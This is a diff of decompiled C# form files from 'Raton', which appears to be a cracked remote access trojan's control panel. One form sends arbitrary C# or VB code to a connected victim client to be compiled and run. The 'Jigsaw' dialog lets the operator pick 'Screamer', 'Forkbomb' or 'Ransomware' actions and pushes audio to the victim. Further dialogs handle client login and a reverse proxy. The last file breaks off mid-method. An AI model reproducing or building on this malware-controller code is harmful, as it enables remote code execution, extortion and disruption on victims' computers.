using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Compilers;
|
||||
|
||||
public class ratonCS : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private FastColoredTextBox fastColoredTextBox1;
|
||||
private RgbBuildButton button1;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public string lang { get; set; }
|
||||
|
||||
public ratonCS()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonCS_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
if (this.lang == "cs")
|
||||
{
|
||||
this.fastColoredTextBox1.Language = Language.CSharp;
|
||||
this.fastColoredTextBox1.Text = "using System;\r\nusing System.Windows.Forms;\r\n\r\npublic class Program\r\n{\r\n [STAThread]\r\n public static void Main()\r\n {\r\n MessageBox.Show(\"Hello from Raton!\", \"Message\");\r\n }\r\n}";
|
||||
}
|
||||
else
|
||||
{
|
||||
this.fastColoredTextBox1.Language = Language.VB;
|
||||
this.fastColoredTextBox1.Text = "Imports System\r\nImports System.Windows.Forms\r\n\r\nModule Program\r\n Sub Main()\r\n MessageBox.Show(\"Hello from Raton!\", \"Message\")\r\n End Sub\r\nEnd Module";
|
||||
}
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str = this.fastColoredTextBox1.Text.Replace("\r\n", "\n");
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Compiler");
|
||||
pack.SetString("Type", this.lang);
|
||||
pack.SetString("Code", str);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num = (int) Messenger.MessageBox("Code sent successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonCS));
|
||||
this.fastColoredTextBox1 = new FastColoredTextBox();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.timer1 = new Timer(this.components);
|
||||
((ISupportInitialize) this.fastColoredTextBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.fastColoredTextBox1.AutoCompleteBracketsList = new char[10]
|
||||
{
|
||||
'(',
|
||||
')',
|
||||
'{',
|
||||
'}',
|
||||
'[',
|
||||
']',
|
||||
'"',
|
||||
'"',
|
||||
'\'',
|
||||
'\''
|
||||
};
|
||||
this.fastColoredTextBox1.AutoScrollMinSize = new Size(179, 14);
|
||||
this.fastColoredTextBox1.BackBrush = (Brush) null;
|
||||
this.fastColoredTextBox1.CharHeight = 14;
|
||||
this.fastColoredTextBox1.CharWidth = 8;
|
||||
this.fastColoredTextBox1.Cursor = Cursors.IBeam;
|
||||
this.fastColoredTextBox1.DisabledColor = Color.FromArgb(100, 180, 180, 180);
|
||||
this.fastColoredTextBox1.Font = new Font("Courier New", 9.75f);
|
||||
this.fastColoredTextBox1.IsReplaceMode = false;
|
||||
this.fastColoredTextBox1.Location = new Point(-2, -1);
|
||||
this.fastColoredTextBox1.Name = "fastColoredTextBox1";
|
||||
this.fastColoredTextBox1.Paddings = new Padding(0);
|
||||
this.fastColoredTextBox1.SelectionColor = Color.FromArgb(60, 0, 0, (int) byte.MaxValue);
|
||||
this.fastColoredTextBox1.ServiceColors = (ServiceColors) componentResourceManager.GetObject("fastColoredTextBox1.ServiceColors");
|
||||
this.fastColoredTextBox1.Size = new Size(757, 514);
|
||||
this.fastColoredTextBox1.TabIndex = 0;
|
||||
this.fastColoredTextBox1.Text = "fastColoredTextBox1";
|
||||
this.fastColoredTextBox1.Zoom = 100;
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Dock = DockStyle.Bottom;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 11.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_code_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(0, 510);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(755, 50);
|
||||
this.button1.TabIndex = 2;
|
||||
this.button1.Text = "Compile";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(755, 560);
|
||||
this.Controls.Add((Control) this.fastColoredTextBox1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonCS);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonCS);
|
||||
this.Load += new EventHandler(this.ratonCS_Load);
|
||||
((ISupportInitialize) this.fastColoredTextBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,218 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Dialogs.askGame
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Dialogs;
|
||||
|
||||
public class askGame : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private FlatComboBox flatComboBox1;
|
||||
private TextBoxButton textBoxButton1;
|
||||
private FlatComboBox flatComboBox2;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private NumericUpDown numericUpDown1;
|
||||
private Label label3;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public askGame()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void askGame_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void askGame_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
this.DialogResult = DialogResult.Cancel;
|
||||
}
|
||||
|
||||
private void textBoxButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str = this.flatComboBox1.SelectedItem?.ToString();
|
||||
if (string.IsNullOrEmpty(str))
|
||||
return;
|
||||
this.DialogResult = DialogResult.OK;
|
||||
switch (str)
|
||||
{
|
||||
case "Minesweeper":
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "Jigsaw");
|
||||
pack1.SetString("Game", "Minesweeper");
|
||||
pack1.SetString("Score", this.numericUpDown1.Value.ToString());
|
||||
pack1.SetString("Action", this.flatComboBox2.SelectedItem?.ToString());
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
break;
|
||||
case "Snake":
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "Jigsaw");
|
||||
pack2.SetString("Game", "Snake");
|
||||
pack2.SetString("Score", this.numericUpDown1.Value.ToString());
|
||||
pack2.SetString("Action", this.flatComboBox2.SelectedItem?.ToString());
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
break;
|
||||
}
|
||||
byte[] numArray = File.ReadAllBytes(Path.Combine(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Audios"), "Jigsaw.mp3"));
|
||||
Pack pack3 = new Pack();
|
||||
pack3.SetString("Packet", "PlayAudio");
|
||||
pack3.Set("Audio", numArray);
|
||||
this.SillyClient.Send(pack3.Pacc());
|
||||
int num = (int) Messenger.MessageBox("Let the game begin...", "Jigsaw", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void flatComboBox1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
NumericUpDown numericUpDown1 = this.numericUpDown1;
|
||||
object selectedItem = this.flatComboBox1.SelectedItem;
|
||||
int num = selectedItem != null ? (!selectedItem.ToString().Equals("Minesweeper", StringComparison.OrdinalIgnoreCase) ? 1 : 0) : 1;
|
||||
numericUpDown1.Enabled = num != 0;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (askGame));
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
this.textBoxButton1 = new TextBoxButton();
|
||||
this.flatComboBox2 = new FlatComboBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.numericUpDown1 = new NumericUpDown();
|
||||
this.label3 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.numericUpDown1.BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.flatComboBox1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Items.AddRange(new object[2]
|
||||
{
|
||||
(object) "Minesweeper",
|
||||
(object) "Snake"
|
||||
});
|
||||
this.flatComboBox1.Location = new Point(12, 33);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(190, 23);
|
||||
this.flatComboBox1.TabIndex = 0;
|
||||
this.flatComboBox1.SelectedIndexChanged += new EventHandler(this.flatComboBox1_SelectedIndexChanged);
|
||||
this.textBoxButton1.BackColor = Color.FromArgb(32 /*0x20*/, 32 /*0x20*/, 32 /*0x20*/);
|
||||
this.textBoxButton1.Cursor = Cursors.Hand;
|
||||
this.textBoxButton1.FlatAppearance.BorderSize = 0;
|
||||
this.textBoxButton1.FlatStyle = FlatStyle.Flat;
|
||||
this.textBoxButton1.Font = new Font("Microsoft JhengHei", 9f);
|
||||
this.textBoxButton1.ForeColor = Color.White;
|
||||
this.textBoxButton1.Location = new Point(13, 108);
|
||||
this.textBoxButton1.Name = "textBoxButton1";
|
||||
this.textBoxButton1.Size = new Size(302, 45);
|
||||
this.textBoxButton1.TabIndex = 1;
|
||||
this.textBoxButton1.Text = "Let the game begin";
|
||||
this.textBoxButton1.UseVisualStyleBackColor = false;
|
||||
this.textBoxButton1.Click += new EventHandler(this.textBoxButton1_Click);
|
||||
this.flatComboBox2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.flatComboBox2.FormattingEnabled = true;
|
||||
this.flatComboBox2.Items.AddRange(new object[3]
|
||||
{
|
||||
(object) "Screamer",
|
||||
(object) "Forkbomb",
|
||||
(object) "Ransomware"
|
||||
});
|
||||
this.flatComboBox2.Location = new Point(13, 79);
|
||||
this.flatComboBox2.Name = "flatComboBox2";
|
||||
this.flatComboBox2.Size = new Size(302, 23);
|
||||
this.flatComboBox2.TabIndex = 2;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(98, 15);
|
||||
this.label1.TabIndex = 3;
|
||||
this.label1.Text = "Choose the game";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(12, 63 /*0x3F*/);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(101, 15);
|
||||
this.label2.TabIndex = 4;
|
||||
this.label2.Text = "Choose the action";
|
||||
this.numericUpDown1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.numericUpDown1.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.numericUpDown1.Location = new Point(208 /*0xD0*/, 34);
|
||||
this.numericUpDown1.Minimum = new Decimal(new int[4]
|
||||
{
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.numericUpDown1.Name = "numericUpDown1";
|
||||
this.numericUpDown1.Size = new Size(107, 22);
|
||||
this.numericUpDown1.TabIndex = 5;
|
||||
this.numericUpDown1.Value = new Decimal(new int[4]
|
||||
{
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(205, 14);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(71, 15);
|
||||
this.label3.TabIndex = 6;
|
||||
this.label3.Text = "Score to win";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(327, 169);
|
||||
this.Controls.Add((Control) this.numericUpDown1);
|
||||
this.Controls.Add((Control) this.flatComboBox2);
|
||||
this.Controls.Add((Control) this.textBoxButton1);
|
||||
this.Controls.Add((Control) this.flatComboBox1);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (askGame);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Choose a game";
|
||||
this.FormClosing += new FormClosingEventHandler(this.askGame_FormClosing);
|
||||
this.Load += new EventHandler(this.askGame_Load);
|
||||
this.numericUpDown1.EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,118 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Dialogs.inputDialog
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Dialogs;
|
||||
|
||||
public class inputDialog : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public Label label1;
|
||||
public TextBox textBox1;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
private RgbBuildButton rgbBuildButton2;
|
||||
|
||||
public inputDialog()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void inputDialog_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void inputDialog_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
if (this.DialogResult != DialogResult.None)
|
||||
return;
|
||||
this.DialogResult = DialogResult.Cancel;
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e) => this.DialogResult = DialogResult.OK;
|
||||
|
||||
private void button2_Click(object sender, EventArgs e) => this.DialogResult = DialogResult.Cancel;
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (inputDialog));
|
||||
this.label1 = new Label();
|
||||
this.textBox1 = new TextBox();
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
this.rgbBuildButton2 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(13, 13);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(128 /*0x80*/, 15);
|
||||
this.label1.TabIndex = 0;
|
||||
this.label1.Text = "Please enter your input";
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox1.Location = new Point(16 /*0x10*/, 31 /*0x1F*/);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(413, 23);
|
||||
this.textBox1.TabIndex = 1;
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_person_available_24_filled;
|
||||
this.rgbBuildButton1.IconSize = 23;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(16 /*0x10*/, 60);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(413, 46);
|
||||
this.rgbBuildButton1.TabIndex = 2;
|
||||
this.rgbBuildButton1.Text = "Accept";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
|
||||
this.rgbBuildButton2.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton2.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton2.ForeColor = Color.White;
|
||||
this.rgbBuildButton2.Icon = (Image) Resources.ic_fluent_person_delete_24_filled;
|
||||
this.rgbBuildButton2.IconSize = 23;
|
||||
this.rgbBuildButton2.IconSpacing = 8;
|
||||
this.rgbBuildButton2.Location = new Point(16 /*0x10*/, 112 /*0x70*/);
|
||||
this.rgbBuildButton2.Name = "rgbBuildButton2";
|
||||
this.rgbBuildButton2.Size = new Size(413, 46);
|
||||
this.rgbBuildButton2.TabIndex = 3;
|
||||
this.rgbBuildButton2.Text = "Cancel";
|
||||
this.rgbBuildButton2.Click += new EventHandler(this.button2_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(446, 174);
|
||||
this.ControlBox = true;
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.rgbBuildButton2);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (inputDialog);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (inputDialog);
|
||||
this.Load += new EventHandler(this.inputDialog_Load);
|
||||
this.FormClosing += new FormClosingEventHandler(this.inputDialog_FormClosing);
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,117 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Dialogs.loginClient
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Dialogs;
|
||||
|
||||
public class loginClient : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Button btnLog;
|
||||
private TextBox txtPass;
|
||||
private Label label3;
|
||||
private Button button1;
|
||||
|
||||
public string Password { get; set; }
|
||||
|
||||
public string SillyClient { get; set; }
|
||||
|
||||
public loginClient()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void loginClient_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.Text = "Login to " + this.SillyClient;
|
||||
}
|
||||
|
||||
private void btnLog_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.txtPass.Text == this.Password)
|
||||
{
|
||||
this.DialogResult = DialogResult.OK;
|
||||
this.Close();
|
||||
}
|
||||
else
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Invalid password", "Auth", icon: MessageBoxIcon.Hand);
|
||||
this.txtPass.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e) => this.Close();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (loginClient));
|
||||
this.btnLog = new Button();
|
||||
this.txtPass = new TextBox();
|
||||
this.label3 = new Label();
|
||||
this.button1 = new Button();
|
||||
this.SuspendLayout();
|
||||
this.btnLog.Location = new Point(12, 70);
|
||||
this.btnLog.Name = "btnLog";
|
||||
this.btnLog.Size = new Size(285, 38);
|
||||
this.btnLog.TabIndex = 1;
|
||||
this.btnLog.Text = "Log in";
|
||||
this.btnLog.UseVisualStyleBackColor = true;
|
||||
this.btnLog.Click += new EventHandler(this.btnLog_Click);
|
||||
this.txtPass.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.txtPass.Location = new Point(12, 39);
|
||||
this.txtPass.Name = "txtPass";
|
||||
this.txtPass.Size = new Size(285, 25);
|
||||
this.txtPass.TabIndex = 2;
|
||||
this.txtPass.UseSystemPasswordChar = true;
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(9, 20);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(133, 16 /*0x10*/);
|
||||
this.label3.TabIndex = 5;
|
||||
this.label3.Text = "Password of the client:";
|
||||
this.button1.Location = new Point(12, 114);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(285, 38);
|
||||
this.button1.TabIndex = 6;
|
||||
this.button1.Text = "Cancel";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(312, 174);
|
||||
this.ControlBox = false;
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.txtPass);
|
||||
this.Controls.Add((Control) this.btnLog);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (loginClient);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Login to ";
|
||||
this.Load += new EventHandler(this.loginClient_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,116 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Dialogs.proxyDialog
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Dialogs;
|
||||
|
||||
public class proxyDialog : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private TextBoxButton textBoxButton1;
|
||||
private Label label1;
|
||||
public NumericUpDown numericUpDown1;
|
||||
|
||||
public proxyDialog()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void proxyDialog_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void textBoxButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.DialogResult = DialogResult.OK;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (proxyDialog));
|
||||
this.numericUpDown1 = new NumericUpDown();
|
||||
this.textBoxButton1 = new TextBoxButton();
|
||||
this.label1 = new Label();
|
||||
this.numericUpDown1.BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.numericUpDown1.BorderStyle = BorderStyle.None;
|
||||
this.numericUpDown1.Location = new Point(12, 25);
|
||||
this.numericUpDown1.Maximum = new Decimal(new int[4]
|
||||
{
|
||||
10000,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.numericUpDown1.Minimum = new Decimal(new int[4]
|
||||
{
|
||||
1000,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.numericUpDown1.Name = "numericUpDown1";
|
||||
this.numericUpDown1.Size = new Size(200, 16 /*0x10*/);
|
||||
this.numericUpDown1.TabIndex = 0;
|
||||
this.numericUpDown1.Value = new Decimal(new int[4]
|
||||
{
|
||||
7070,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.textBoxButton1.BackColor = Color.FromArgb(32 /*0x20*/, 32 /*0x20*/, 32 /*0x20*/);
|
||||
this.textBoxButton1.Cursor = Cursors.Hand;
|
||||
this.textBoxButton1.FlatAppearance.BorderSize = 0;
|
||||
this.textBoxButton1.FlatStyle = FlatStyle.Flat;
|
||||
this.textBoxButton1.Font = new Font("Microsoft JhengHei", 9f);
|
||||
this.textBoxButton1.ForeColor = Color.White;
|
||||
this.textBoxButton1.Location = new Point(12, 51);
|
||||
this.textBoxButton1.Name = "textBoxButton1";
|
||||
this.textBoxButton1.Size = new Size(200, 26);
|
||||
this.textBoxButton1.TabIndex = 1;
|
||||
this.textBoxButton1.Text = "Start proxy";
|
||||
this.textBoxButton1.UseVisualStyleBackColor = false;
|
||||
this.textBoxButton1.Click += new EventHandler(this.textBoxButton1_Click);
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(12, 9);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(26, 13);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Port";
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(224 /*0xE0*/, 98);
|
||||
this.Controls.Add((Control) this.textBoxButton1);
|
||||
this.Controls.Add((Control) this.numericUpDown1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
